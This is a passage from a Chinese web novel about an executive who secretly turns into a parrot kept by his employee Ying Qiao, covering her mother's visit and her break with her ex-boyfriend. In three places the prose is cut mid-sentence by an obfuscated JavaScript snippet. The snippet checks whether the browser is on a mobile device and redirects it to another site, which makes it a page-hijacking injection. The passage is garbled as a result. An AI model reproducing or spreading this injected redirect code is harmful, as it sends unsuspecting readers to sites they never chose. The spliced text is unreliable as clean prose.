应峤神色如常,她将小鸡赶到笼子里,又把笼子挂得更高更远。她不希望小鸡跟她妈多接触,对她来说小鸡是独立的个体,更像是她的另一部分的延续,这一部分最好谁都不要来参与。 挂好笼子,应峤又打开门把行李箱拖进来。别看这小区老旧,但治安却很好,这么大一个箱子放门口好久都没有人顺手牵羊。 因为项英红的到来,应峤睡得很早。她早早洗漱完就躺在床上看电子书。 她看罗兰米勒的《亲密关系》,是学心理学的朋友推荐的,但是越看越觉得心烦意乱,黑色的字体变成了连绵不断的山,一片片的横亘在她眼前。 项英红没回房,她在黑暗中坐着不知道在想什么。 过了好久她才起身,站在应峤紧闭的卧室门口,像是在发愣。 沈靥星不由得想起周淮,两人真是异曲同工,面对应峤就只有无尽的沉默。 这一夜应峤睡得并不好,她做了很多碎片式的梦,每一个里面项英红都忍不住指责她。不过项英红说这是为了她好,社会就是这样的,她提前说了别人就不会说。 应峤在梦中无意识地流泪,被拖入一个又一个感情的漩涡难以挣脱。等她终于气喘吁吁地惊醒,天已经蒙蒙亮。 天光为世界敷上毛茸茸的外膜,一切都显得无比安详,仿佛她刚从母亲的肚子里带着无尽的痛苦和期待降生。她看着窗外的景物,这时人还很少,只有三三两两的三轮车出来卖早饭。 五点半。 这是个该睡个回笼觉的时间,应峤重新躺回去,却无论如何都睡不着了。她只好顶着微痛的头起来给项英红买早饭。 下楼的时候她忍不住瑟缩了一下,初秋的早上比任何时候都要冷,冷得叫人清醒。空气很干净,应峤站在卖煎饼果子的小摊前迷迷糊糊地扫码付钱,但一不小心扫到了隔壁的支付宝红包。 “领了多少?”摊主好奇地问。 “五毛。”应峤晃了晃手机,表示钱已经付了。 “哎呀,你领得这么少,刚走的那几个运气都可好了,几块几块的领。”摊主有些难以置信。 应峤从她手中接过饼,道:“一直就这样。” 她的运气一直都这样,没好过。 煎饼果子里没放葱,放了大量的香菜,是项英红的口味。应峤放下饼拎起包出门上班。她一般都是在公司食堂吃早饭,虽然不好吃但是够方便。 结果她来的太早了,食堂还没准备好饭,只有鸡蛋玉米和煮好的红薯。应峤也不挑食,拿了两根玉米用一次性纸杯装着上了楼。 到了工位上,她先啃完玉米,又十分有闲情逸致地磨了段姐放在办公室里的新豆子。等喝上美式时,她抬头一看才七点钟。 事实证明,只啃两根小玉米喝一杯咖啡是不顶用的。没到十一点应峤的肚子就开始咕咕叫。她顺手拉开抽屉才发现零食已经吃完了,无奈只好忍着。 忍了五分钟,突然办公室门被推开,是小沈总秘书一脸和煦的站在门口,身后跟着两人抬着几个大箱子。里面是热腾腾的牛肉贝果,说是沈总发的,每个人都分到一个。 应峤得以吃饱,她将包装袋叠成方块丢进垃圾桶时突然觉得自己的运气也不错。 卷毛边吃边八卦,“你们说小沈总为什么突然给我们发吃的?” “公司产品试用?”段姐也不确定。不过她可以确定的事小沈总的品味真的很好,这是她吃过最好吃的贝果。 “我们公司不是做调料的吗?”卷毛道。 “谁说面包不算是日常生活的调味剂呢?”段姐咽下最后一口,转向应峤,“你说是吧小应。” 应峤狠狠地点了点头。 秘书也觉得沈总举动莫名其妙,他发现自己自从来了这间公司就越来越猜不透沈总的想法。这对于一个优秀秘书来说真是一个不好的征兆,这意味着他事业的滑坡,奖金的停滞。 大师说的果然是对的,他遇到了困境。 想起来大师,他又点开微信,想要找大师聊聊。 微信刚一打开,他就被置顶沈总的新头像吓了一跳。一个硕大的黄绿色芒果,沈总何时如此……活泼?他想了半天,才从自己贫瘠的词库里想到一个不算恰当的词。 他特意点开两人对话框,上下浏览了一番聊天记录。 「你找的大师是什么身份?」他正看着,对面突然弹出一条消息。 「A市玄学协会副会长。」秘书秒回。 不是盗号,他确认这是沈总本人,那沈总一定是有他的用意。 「好。」 聊天框又沉寂下来。 沈靥星正顶着这个芒果跟大师聊天,大师也不遑多让,换了自己最新在巴厘岛的侧脸自拍。 「刘会长,我最近总是做梦,梦到自己变成了一只鹦鹉。」沈靥星道。 「做梦嘛,很正常,除了做梦之外有其他什么异常吗?」大师秒回。 「这个梦很真实,真实到让我分不清是现实还是幻觉。所以,人有没有可能在现实中也变成妖,就像妖变成人那样。」 「妖变人常见,人变妖不常见。」 「所以我们的社会中确实有妖?」沈靥星若有所思。 「可以这么说,沈总不必有顾虑,对于人类无辜异变的情况我们协会也有解决方式。」 「有药吗?」 「当然,不仅有药还有配套的术法,这一套流程下来保证简单无痛,不会有任何副作用,毕竟沈总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276782|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给A市做了重要贡献的人物嘛。」 「我的意思是,针对异变的止痛药。」 每次变形他都要遭受巨大的痛苦,普通的止痛药吃了也无济于事。 屏幕那端,刘大师正在稀里呼噜地吃小馄饨,看到消息差点卡住,咳了半天才缓过劲儿来。异变的确会造成人体不适,但沈总这是什么意思? 「不好意思,沈总,我不太明白。」小刘大师抹了把嘴,继续敲键盘。 「经常做梦,我身体不太舒服,希望能有药缓解。」 「至于其他的,还没有对我造成实际影响,不必着急。」 小刘大师懂了,他的小眼睛迸发出睿智的光芒。沈总太狡猾,不肯直说自己有问题,也不想解决问题,他作为协会的负责人就不能直接插手。 除非……协会有直接的证据。 但沈总是委托人,小刘大师犹豫了。而且沈总很大方,小刘大师的银行卡适时响起到账的声音,六万八,这件事还有商量的余地。小刘大师决定好好地劝劝他。 「多谢。」沈靥星道。 「不必客气,帮助每一位纳税人是我们应做的。」如果面对面,小刘大师此时的胸脯已经拍得震天响。 「不过,最好还是尽快来找我,否则事情可能会发生难以挽回的变化。」本着修行之人的责任感,小刘大师还是补充了一句。 这位沈总太大胆也太不顾一切,如果任凭其发展下去,可能会酿成悲剧。思及此处,小刘大师忧心忡忡地去泡了碗泡面,刚才他没吃饱。 中午,应峤特意找了家离公司近的餐厅跟项英红一同吃饭。 项英红说:“我待不了两天就回去了,临走前跟小周一起吃顿饭吧。” 应峤觉得她妈天生就是来给她找麻烦的,容不得她半点隐瞒和敷衍。她肯定还是怀疑,怀疑周淮与她的关系不复往日融洽,因此才提出吃顿饭,要在吃饭时为她们在说和说和。 “周淮他出差了。”应峤奋力咽下堵在嗓子眼的那颗汤圆道。 “真出差还是假出差?”项英红的目光像她手中的餐刀,将她从头顶劈开,露出血淋淋的内在。 “你俩吵架了?”项英红问道。 “晚上再说这个可以吗?”应峤以手扶额。她感觉刚才的汤圆还没掉下去,黏腻腻的一道粘在喉咙里。 但这只是她的错觉而已。 “不行,现在就得说清楚。”项英红开始耍赖,“要么你把小周叫来,我们现在就把这顿饭吃了。” “你是谁啊,你想叫来就叫来,是不是全天下所有人都要时刻等待你的吩咐?”应峤终于忍不住了,她不明白除了她的领导怎么还会有人说话这么理直气壮的。 “我是谁?你问我我是谁?”项英红更生气,“我是你妈,你不打算认我这个妈了?” “以后你跟小周结婚了,我就是他妈,我叫他怎么了,不应该?” 应峤胸口发堵,她有千言万语,此时此刻一句话都说不出。 突然她身后出现了一个影子将她笼罩住,她闻到极淡的香水味,她还没来得及分辨,就看见项英红愣住,直直地朝他身后看去。她惊愕回头,看到了沈靥星。 “沈总。”应峤嘴比脑袋反应快。 沈靥星微笑,光影婆娑,明明暗暗,像是专门为他而设,用来烘托他此时震慑人心的魅力。同一时间,应峤的大脑分辨出了那股香水味,是一种不算辛辣的木质香混着玫瑰的味道。 项英红本以为这是应峤从外面认识的野男人,勾引得她昏了头,忘了自己有男朋友,才千方百计地给自己找不痛快。但应峤的称呼让她反应过来他的身份。 项英红冲他点了点头。 沈靥星只是路过,很快又离开。但在他离开之后,项英红和应峤都很默契地忘记了之前讨论的问题。 “我回去上班了。”应峤趁热打铁道。 项英红又点点头,倒是没再多纠缠。她一心沉浸在对所谓沈总的容貌中。她又怀疑这不过是应峤叫来做戏给她看的,又觉得实在没必要。 不过……回过神儿来的项英红皱起眉头,她忍不住盯着沈靥星离开的背影看。这孩子,她怎么有些眼熟呢?而且眼熟的不是他的长相,是他无意中看向自己女儿的眼神。 那样的眼神……那样的眼神…… 8. 变鸟第八天 小沈总像一只骄矜但礼貌的孔雀一样留下惊鸿一瞥之后便消失得无影无踪。这让她也有些晃神,如此恰到好处的解围就像电影里专门设置的情节。 观众纷纷离场,回归自己平淡的生活,应峤又回到工位上开始敲键盘。只不过她有些心不在焉,将抄送人的名字写成小沈总。 反应过来之后,她逐字删掉沈靥星的名字,惊觉自己枯竭的内心被敲响。男人的美貌的确是利器,在合适的时间合适的地点合适地出现,让她产生了不合时宜的联想。 她与小沈总之间好似有某种特殊的缘分。 这种缘分她也不是第一次感受到,当她还是所谓的导师比较看重的大师姐的时候,就有师弟空手套白狼叫她帮忙做实验算数据。 工作之后又有不同组但同期的实习生对她好,用一些小恩小惠叫她背锅,美其名曰是她主动帮我的,我也没想到会这样。 就连辞职当天,也有不太熟悉的其他部门领导邀约她吃饭,意图套话。 应峤神游,电脑缓慢得启动。这台电脑跟她小侄子一个年纪,显示器是上一任留下来的,主机是从仓库捡回来拼接的,现在已经苟延残喘。 工作依旧是做不完的,应峤连叹气的力气都没有,小沈总能图她什么呢?她几乎已经一无所有。 相反,小沈总的到来令这间公司的整体风气都有所改变。之前她的工作只有一小部分是解决问题,大部分都是在屎上雕花和安抚领导,噱头比实际多得多。但是沈靥星刚上任就驳回了几个管理层提交上来的方案,嫌他们写得太啰嗦,逻辑不通。因此领导们只能战战兢兢地改,带动着下属也跟着改。 应峤倒是更习惯现在的风格,这让她对小沈总的欣赏又多了一层。她按照计划挨个给合作部门打电话,打得口干舌燥,等打完最后一通她端着水杯跑到走廊尽头吹风。 今天是晴天,阳光很慷慨地洒下,风也轻柔,吹过窗外斜倚的竹枝。应峤看着那细细的叶片想,如果不是项英红闹这么一通,她的心情会因为这样的好天气变得不错。 “应峤。”后面突然有人叫她。 应峤一个激灵,回身微低头垂眼老实道:“沈总好。” 她目光停在沈靥星的胸口,那里有颗金扣子闪着暗光。今天她见到小沈总的频率是不是太高了? “你的眼睛还好吗?”沈靥星问道。 应峤眨眨眼,一时没反应过来自己的眼睛怎么了。 沈靥星看她这样,手抬起来直冲着她的脸而来,应峤怔住,脸微微一偏。但沈靥星也只是指了指她的眼睛道,“你这里红的很明显。” 应峤皮肤白,眼周皮肤尤其的薄,昨晚哭过之后眼皮微肿泛红。只是现在消退的差不多了,只有沈靥星说很显眼。 “没什么。”应峤掩饰似的笑笑,摸了摸眼角。 “试试这个吧。”沈靥星从口袋里拿出一副眼贴。 他平时会随身带眼贴吗?应峤有些纳闷地接下,道:“谢谢沈总。” 看到她收下,沈靥星仿佛心情很好似的说,“不用客气。” 被他的眼睛看着,被他温柔的嗓音围绕,应峤竟生出别样的感觉,今天的好天气似乎延续在了他身上。 “我还有会,再见。”沈靥星手重新放回口袋里。 应峤木头似的点头,目送着他一手插兜一手拎着文件夹大步流星地离开。 沈靥星背挺得很直,他放在口袋里的手看似潇洒,实则已经紧张地握拳。 应峤拿着眼贴回办公室,她觉得小沈总有些反常,看到员工摸鱼,第一时间竟然是关心她的眼睛。她打开手机照相机前置,看着自己毫无神采的双眼,这样的自己也会被人注意到吗? 她撕开眼贴的包装袋,将眼贴妥帖地贴在眼睛上,冰凉感却让她的大脑更加迷糊。小沈总这么有礼貌吗,去开会还要告诉她。 停停停,不要再胡思乱想了。应峤告诉自己。她深呼吸几下,又重新投入工作。期间她收到了一个陌生的号码消息,问「那家餐厅你又去过吗?」 莫名其妙的短信,发错人了吧,应峤刚想删掉,又看到一条消息蹦出来:「空景」 这不就是她刚跟她妈在的那一家,她坐直了身体想了半天,才猜到这人应该是早就被她拉黑的周淮。 她在空景刷了曾经两人约会时办的会员卡,立刻被他知道了。真可笑,难道周淮觉得自己去那家餐厅吃饭就是在不介意他了,还是说是在怀念他? 应峤懒得理他。 「阿姨刚才跟我打电话了,她好像还不知道我们已经分手,说要一起吃顿饭。」那边继续发送到。 神经病啊,应峤好心情一扫而空,她揭下眼贴往旁边一甩,她感觉自己被她妈和周淮联手夹击了。 「还没来得及告诉她,早晚都要说。」应峤回复。 「其实一起吃饭也可以的,就算是演戏,峤峤,我尊重你的想法,但你应该不想被阿姨知道吧?」 周淮是在威胁她吗? 因为在她这里复合不成,就顺着她妈来拿捏她。 「好啊,干脆就今晚一起吃吧。」 「还是空景,正好钱没花完。」 吃就吃,应峤心想,她怕谁啊。正好把卡里的钱花完,在饭桌上把话挑明,大家都不要互相骗了。 应峤恶向胆边生,请了假提前一小时下班,火速跑去最近的商场直奔理发店说:“我要染发。” 店里恰好有空位,一衣着时髦的小哥过来,笑问:“想染个什么样的。” 应峤被问住了,她还真没想过,只说:“越夸张越好。” 她脑袋里突然蹦出来一句话:我要把这玩意儿染成绿的。 福至心灵间,应峤掏出手机翻到自己给芒果拍的照片说:“就染这个颜色的,挑染,有黄有绿。” “姐,你真够时髦。”小哥由衷地赞叹,“来洗头吧,肯定给你染好。” 应峤躺在洗发的床上,任凭温热的水流哗哗地冲她的脑袋。她觉得自己真是越来越神经了,迟早被生活逼疯。想到这里她又忍不住笑了,她想着一头绿毛的自己如果真的疯了,会不会也跟自家那个傻子小鸡一样流落街头。 小哥动手很利落,手起手落就把她头□□完了。应峤看着镜中的自己,看着他在自己头上忙碌,突然觉得有些陌生。原来她能这么大胆,这么自由,真的把保留了二十多年的黑发染成绿的。 她没有丝毫对于染发效果的担忧,只有满腔满怀的激动。幸好小哥手艺不错,给她染得错落有致,蛮有艺术效果,猛一看不像是被榨干了精力的社畜倒像是地下贝斯手。 应峤依旧做得浑身僵硬,腰酸背痛,她摸了摸自己的新发型,干脆利落地给小哥转了688。 黄绿相间的头发很显白,她本就很白,现在更是被衬得像鬼一样。她微眯起眼睛,黑沉沉的眼眸也像鬼,她对着镜子笑了笑,很是满意。 一会儿见面,她打算给周淮和项英红一个大惊喜。 染头耗费了很长时间,等她坐上出租车项英红的电话已经打了过来。应峤想到一会儿他们两人的表情,对她妈的催促都包容了很多,她慢条斯理地说:“别着急,马上就到了,你们先聊聊吧。” 项英红道:“你不来我们聊什么,快点快点!” 怎么不能聊了,第一次见面项英红不是把周淮祖宗十八代快盘清楚了吗?应峤挂掉电话,向窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他这么演戏,项英红真的以为他们还没分手。没直接在周淮面前冲她发火,反倒对周淮说:“小周,应峤这孩子心里总藏事儿,你多包容,没事就多跟她聊聊。” 她刚说完,菜陆续上来了,她继续道:“多吃点,多吃点。” 她现在怎么看怎么觉得周淮好的不得了,简直是她理想中的女婿。 周淮客气点头,拿起公筷为应峤夹了一筷子,应峤当作没看到。 但周淮又说话了,他说:“阿姨,我挺喜欢应峤的,我已经买好房子了。” 项英红更是高兴,觉得周淮有诚意,买了房子就是准备要结婚了,忙问道:“多好呀,你看看,小周啊你在哪儿买的房子,有多大?” “在市政府那边,旁边公园医院学校都有,挺方便的,面积不大,一百五十平左右。”周淮问什么答什么。 “结婚的话,我愿意再加上峤峤的名字。”他又补充道。 这下项英红的心彻底偏向了周淮。她一转头看到应峤头也不抬地吃饭,又看到她满头绿毛觉得十分刺眼,干脆也不吃了,筷子一放就要训斥她。 “你这孩子……”她刚开口。 应峤站起来抽了张纸巾擦了擦嘴,她吃饱了,神情闲适道:“不知好歹是吧。” “这句话你说过很多次了,我都听腻了。” “很可惜,再不知好歹我也是你女儿,而我跟他已经分手了,他做不成你的女婿。” 周淮也愣住了,他没想到应峤突然撕破这体面。他本想着在她妈妈面前演一场,再徐徐图之,两人总能同归于好,没想到应峤这么勇,一张嘴就把桌子掀了。 “你胡说八道什么!”项英红拍案而起。她觉得这个孩子简直就是生下来跟她作对的,先是辞职后是分手,事业爱情都不顺。 “人小周这么好,除了他你上哪儿再找一个那么好的。” 周淮闻言也站起来了,他不愿让事情闹得太难看,更不愿让这件事的走向脱离了自己的控制,于是他尽量劝阻项英红。 谁知应峤已经不可控了,她一张嘴又扔下一颗炸弹。 9. 变鸟第九天 “这么好的男人,高中就跟同校女生发生关系,还有了孩子。” 应峤憋在胸口很久的那口气终于顺了。 周淮猛得回头,不可置信地盯着应峤。他原本保持的风度翩翩的面具碎裂,看她的目光中流露出危险。 此时此刻,他才把应峤当作跟他“平等”的人,而不是他的女朋友,他可以随意哄骗的对象。 “你怎么知道?”他的声音压得极低,似在发怒的边缘,但又怕引来更多的人,所以忍住了。 “你这话什么意思?”项英红没有这种顾忌,一嗓子喊出来。 看着他们苦心营造的温馨氛围就这样分崩离析,应峤忍不住笑出声。她从桌上拿起装满热水的水杯,后退一步继续道:“从高三开始仗着自己的容貌和成绩,打造温柔的虚伪人设,跟刚入学的新生恋爱,平均交往不到一个月就分手,美其名曰学业压力太大了。” “第一个跟你在一起的女生,自从恋爱之后,就有很多人议论她,说她成绩不好配不上你,不知道你为什么看上她。” “后来你们分手了,你跟同班同学恋爱,因为她的妈妈是学校领导。” “那个女生配得上你,可你嫌她不够漂亮。” “你们分手,你又偷偷谈了几个,你自己也记不清了吧。因为你总是PUA她们,各种挑剔,她们只敢在午休没人的时候偷偷来找你。” “这样的日子很好过吧,把所有人都耍得团团转。” “幸好我没跟你发生点什么,哦不,仅仅是跟你交往过我都觉得很恶心。”应峤从没说话这么“恶毒”过,但她只觉得痛快。 “应峤!”周淮气急败坏道,“我劝你说话小心点!没依据的话不要乱说!” 这一刻他十分后悔选择了空景吃饭,本来他想着离公司近,叫其他人都看到他和应峤和她妈一起吃饭,就坐实了他们的关系,至少在别人眼里他们还在一起。现在却适得其反,他环顾四周,只希望没有人在意他们。 他平时的样子很唬人,斯斯文文,总是西装革履,但此刻被应峤戳到痛处,什么都不管不顾了。 而项英红明显已经被这一连串消息冲击得说不出来话了。转眼间她体面的好女婿变成了丑陋的怪物,做的恶心事罄竹难书。 “所以别再想办法让我跟你复合了,除非你想这件事人尽皆知。”应峤道,然后一扬手把水全泼在了周淮脸上。 “走吧妈,我给你买车票,订酒店,你先在外面住一晚,明天就回家吧。”她也对项英红下了逐客令。这一次项英红没有任何反驳的话。 一顿饭不欢而散,周淮急匆匆起身离开,临走还没忘了对项英红说:“阿姨,我先走了,今天的事很抱歉。”他能屈能伸,一眨眼就恢复了个七七八八。 项英红依旧很茫然,她坐在座位上,失去了全身的力气一般。 她的女儿真的变了,或许她一直都没变。她突然想起来应峤很小很小时候的一件事,那个时候她心血来潮问她考了多少分。 「全校第十名,进步了两名!」小应峤用欢快地回答她。她却很不满意,责问她为什么语文不能多考几分,为什么不更努力,如果多考几分的话就能进前五了。 她当时的语气应该很不好,眼神也凶恶,否则小应峤怎么会被吓哭了呢。 项英红回忆起来,早就忘记了自己当初为什么如此不满,但只记得小应峤委屈地大声地反驳。 她说我讨厌你,我再也不想跟你说话了。后来她果然说到做到,一个星期没跟她分享学校的情况。 原来那个时候她的女儿就已经这样了,她一直都不听话,一直都很倔强,只是她没有在意过而已。 回家时雨已经停了,应峤没有打车,选择自己走回去。这条路上人很少,偶尔有几辆车开过,速度也不快。 街上的树被水洗了个干净,深绿挺拔,如烟如雾般一团接一团,应峤使劲儿吸了一口气,想象自己是一个斩断了束缚的异乡旅人,终于接受到了自由。 今天就像她捡到小鸡的那天一样,没有那么糟糕。 想到小鸡,她脚步不复沉重。 说起小鸡,她变了发色,它还能认出自己吗?毕竟她常在网上看人发帖,说自己的宠物是个笨蛋,换个发型就认不出了。 应峤回来得晚,沈靥星有些食不下咽,秋千也不玩,解闷玩具也不咬了,在笼子里走来走去,在桌子上走来走去,甚至在家里地板上走来走去。 自从变成鹦鹉,他每天都会特意从应峤窗外飞过,看她是准点下班还是加班。如果准点下班,应峤会及时回家,如果加班,应峤也不会回来的太晚。 只有今天,已经快要九点钟,家里依然静悄悄的。他明明最擅长等待,可一旦尝到了时刻相处的甜头,连短短的几个小时也熬不住了。 这样的想念甚至让他有些焦虑不安。他开始猜测应峤是不是出了什么意外,或者又跟周淮见面了,周淮说了什么叫她留下,他们重归于好,抛弃自己。 沈靥星越想越糟糕,思绪无论如何都控制不住,绞尽脑汁地思索应峤这么晚都不回家的可能原因。 想着想着,嘴下一使劲儿,拔下了一根羽毛。 不一会儿,七八根羽毛已经散落一地,他这才醒悟停手。不能再拔了,拔秃了应峤会觉得他丑。 其实八点多钟的时候应峤就已经走到小区门口。她本想直接进去,却被楼下便利店温暖的灯光蛊惑,拐进去买了瓶啤酒。常温的已经卖完了,拿给她的是从冰柜里掏出来的,在初秋的天气里冰凉刺骨。 但应峤没犹豫就刷码付钱,随便找了个长椅坐下,一口一口地慢慢呷着。 她很少喝冰啤酒,最近的一次竟然是上学的时候心情实在不好,逃了节晚自习跑到河边边喝酒边发呆。深夜的风和现在一样凉飕飕的,应峤紧了紧身上的外套,一只手缩在袖子里。冰凉的液体顺着喉咙一路向下,到了胃里,反而有种灼烧感。 她也很不擅长喝酒,最高纪录是两瓶。现在一瓶下去就有些晕乎乎的。她抬头看天,被水洗过的天格外蓝,蓝的有些发黑,就像记忆中的河,漫无边际,看不到头和尾。 她又喝了一口,开始数星星,星星也像河上倒映的灯光,一点一点,数着数着她莫名其妙地想到了小沈总。沈靥星,当他的妈妈给他起名字时,是否也看到了这满天的星辰呢? 城市里的星星寥寥无几,应峤喝完酒捏扁罐子,晃晃脑袋站起来。 该回家了,家里还有一只小鸡在等她。 拧开门,应峤霎时泄了气,瘫坐在地上。她的身体贴上地板的一刻,内心的灼热也被缓解。 沈靥星早在门锁发出声响的时候就飞到门口等着,第一眼看到她花花绿绿的人类羽毛时就幸福地扑了上去。 沈靥星满足地蹭了她两下,然后勤勤恳恳地将他刚拔下来的羽毛一片片插在应峤头顶。 应峤迷迷糊糊地看他忙前忙后,觉得自己现在一定很好笑,浑身酒气,还顶着一头乱糟糟的彩色头发,又被插得像个鸡毛掸子。 不过,圆滚滚的小鸡真的很可爱,她伸手想摸,去扑了个空。 她摸到了一只修长的手。 沈靥星跪坐在地,被她握住手,像周身过了电一样僵住。 他怎么会突然变回人?是他太开心了吗?他愣着,不知道该不该回握。他怕惊醒了应峤,又实在抵御不了诱惑。 半响,应峤彻底闭上眼睛,向前一栽。沈靥星再也顾不上什么,迎着她倾身张开双臂,将她抱了个满怀。 应峤真的很瘦,这是沈靥星脑子里冒出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276784|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一句话,他拢着她的后背,像一条巨龙完完全全护住自己的珍宝。 好满足。他自喉间挤出喟叹。 她的脸正贴在他的胸口,呼吸均匀地睡着了。她在梦中靠上了柔软的枕头,散发着浓郁干燥的玫瑰气息,令她分外的安心。 明明窗子还没关,夜风不断地吹进来,可沈靥星却觉得自己的温度在不断地升高。他弯着腰小心翼翼地站起来,抱着应峤来到沙发上。 他将应峤放好,又塞了一个抱枕给她靠着,为她盖上小毯子。应峤有些不满,她感觉枕头变硬了,在梦中撇了撇嘴。 沈靥星转身去厨房开火煮解酒汤,这还是他在国外上学的时候学会的。他不爱喝酒,但身边的朋友经常会在他家开party,喝到横七竖八地睡倒一地。 沈靥星就负责把他们一个个搬上床,再熬几碗醒酒汤,挨个灌下去。但他不白做,一边做一边在旁边冷静地录视频,手机里存了大量的他们醉酒的姿态和胡言乱语,等到关键时才拿出来。 工作之后,他不乏交际应酬的时候,慢慢地也习惯了,喝得半醉时还能保持一丝理智摸到厨房给自己煮解酒汤,虽然煮得很难吃就是了。 他把苹果和橙子切成小块放在水里,边搅动边盯着咕噜噜冒出的泡泡想,如果应峤醒过来,他会告诉她真相。 他已经做好心理准备了。 可是煮好汤,应峤还没醒,沈靥星过去给她脱鞋子。他动作很轻柔,以至于应峤任他怎么做都没醒。换好鞋子,他又取了卸妆湿巾给她擦脸,像擦一颗水蜜桃那样小心。 他曾经不止一次幻想过他跟应峤的婚后生活。为此他还特意找了视频学习,学习如何给工作了一天的应峤卸妆、护肤、按摩。没想到这么快就实现了。 结束这一切之后,沈靥星终于坐下来。他原本坐在沙发尾,想来想还是挪到地毯上,换到应峤这一边,这样他就能更近距离的看到她的脸。 她安静地睡着,但睡得并不安稳,眉头轻蹙,眼下挂着一颗泪。沈靥星忍不住去抚她的眉头,又伸开手拢住她的眼睛。她的睫毛在他掌心微微颤动,悄无声息的流下更多的泪水。明明只是微小的感受,传到沈靥星掌中却像是被放大了一百倍一千倍。 他像是被什么驱使着那样,低下头,忍不住靠近她。他的鼻尖与应峤的鼻尖轻触,又向下划过柔软的肌肤,这令他心跳加速。 他在做什么见不得人的事? 他想要偷吻她。 靠的越近,他就越觉自己的呼吸重,他害怕下一秒就会将她吵醒,但又舍不得离开。他如同一个饥饿的人终于得到食物,贪婪地闻着她的味道,不知该如何下口。 应峤眉头拧得更紧,她好像要醒来了。沈靥星还是没有落下他的吻,只舔去了她的眼泪。 他品尝着她的泪珠,淡淡的咸涩味道停留在舌尖,心中竟有说不出的甜蜜和羞愧。 就当他直起身时,应峤突然半睁开眼。沈靥星又不敢动了,他见应峤眼神迷蒙,不确定她是醒着还是睡着。 应峤脑袋还是昏昏沉沉的,她竟然看到小沈总出现在她家里。一定是梦,眼前的小沈总发尾黄绿,跟她的发色如出一辙,像是染发小哥将她用剩下的染发剂在他头上蹭了几下。并且他身穿苹果绿长袖长裤,有些滑稽。 在应峤对他对视的一瞬,沈靥星突然后悔了,他不想把自己会变成鹦鹉的秘密告诉应峤。于是他落荒而逃。 他没坐电梯,一连跑下好几个楼层,激动的心跳才平复下来。温暖的夜风吹着他的脑袋,他感到一种满足与喜悦在他心中激荡,这种感觉比他变成鹦鹉时还要强烈。 他摸了摸自己的嘴唇。 因为走得太着急,他没来得及问,应峤为什么喝醉,为什么流泪,以及为什么跟周淮分手。 10. 变鸟第十天 第二天应峤醒来,先是发愣放空,然后忍着头痛缓慢扫视四周,企图跟失去的记忆建立联系。 她的脸很干爽,不油也不紧绷,是卸完妆又护过肤的。她光着脚。聚会时穿得小皮鞋整齐地放在鞋架上,袜子搭在地毯上,拖鞋就在沙发前。她身上还穿着聚会时的内搭,但外套已经叠好放在一旁的椅子上。至于桌上,放着一只她习惯用来盛汤的白瓷碗。 应峤凑过去看了一眼,里面是不知道干什么用的苹果和橙子水,碗边印着不算清晰的一抹口红。 醉酒后她好像打理了自己,煮了水,喝完又躺下了。应峤狐疑地皱起眉,这段记忆像被剪切掉了,她脑中一片空白。 一根羽毛缓缓从她脑袋上飘落,应峤伸手一抓,接着是第二根、第三根。这是芒果身上的毛,而芒果不见了,应峤的太阳穴又开始抽痛,她怀疑自己酒后无德拔了芒果的毛所以它逃走了。 应峤翻来覆去看自己的手,难以想象自己潜意识里竟有如此凶残,可除此之外她想不到别的解释。 她的病情好像加重了。 被拔毛的小鸡会很痛,所以它才不顾一切地离开她,哪怕再次称为流浪鸡。 小鸡跟她同病相怜,应峤有些庆幸它的离开,又十分畏惧真实的自己。她早就知道自己有抑郁情绪,甚至最严重的那段时间她会莫名其妙地流泪,走不动路,背痛胸口痛,所以她才选择辞职,她以为自己已经好了。 但在这一刻,她脑中开始无法控制地涌出各种各样的想法,所有的想法都拖着黑色的影子窜来窜去,叫她忍不住谴责自己。 停下来吧。 停下来才会好,应峤告诉自己,就在此时被遗忘的手机突然叮叮咚咚地响起来。应峤从循声找去,把它从沙发缝里扣了出来。 铃声已经停了,屏幕显示几通未接来电。 应峤点开语音信箱,赫然是顶头上司:「怎么不接电话?」 「下班也要接电话,万一有什么要紧的工作呢?」 「睡着了吗,睡这么早,有份资料你周末有空看看吧……」 所有糟糕的事情都凑到一起去了。应峤删掉消息,假装没看到。就这样叫她逃避一会儿,哪怕只有一小会儿也好。 逃避也被迅速打断,昏睡的一上午叫她饥肠辘辘,现在终于反应过来开始大声抗议。 没办法,应峤索性仰躺回去点外卖,只不过黄色软件刷了半天,她都没有一点食欲。本着不会出错的原则,最后选择了一家麦当劳。 外卖送达的速度比她想象中还要快,应峤打开门,外面站着一位年轻女性。她似乎不着急送下一单,一边对着手中的纸袋拍照一边对应峤说:“你家电梯好像坏了,我走上来的,幸好没超时。” “不好意思啊,谢谢你呀。”应峤接过来,顺口替坏掉的电梯道歉。 “不客气,走了,拜拜。”外卖员笑了,露出一口洁白的牙齿,指了指她的脸说,“你这里有羽毛。” 应峤对着她手指的位置摸了一下,是眼下的那块皮肤,但是没捻下什么东西。 外卖员已经下楼,手里的纸袋还热腾腾的。应峤关上门取出一只香芋派咬开,滚烫的内陷烫得她一哆嗦,脑袋又清醒几分。 小鸟丢了就要找回来。 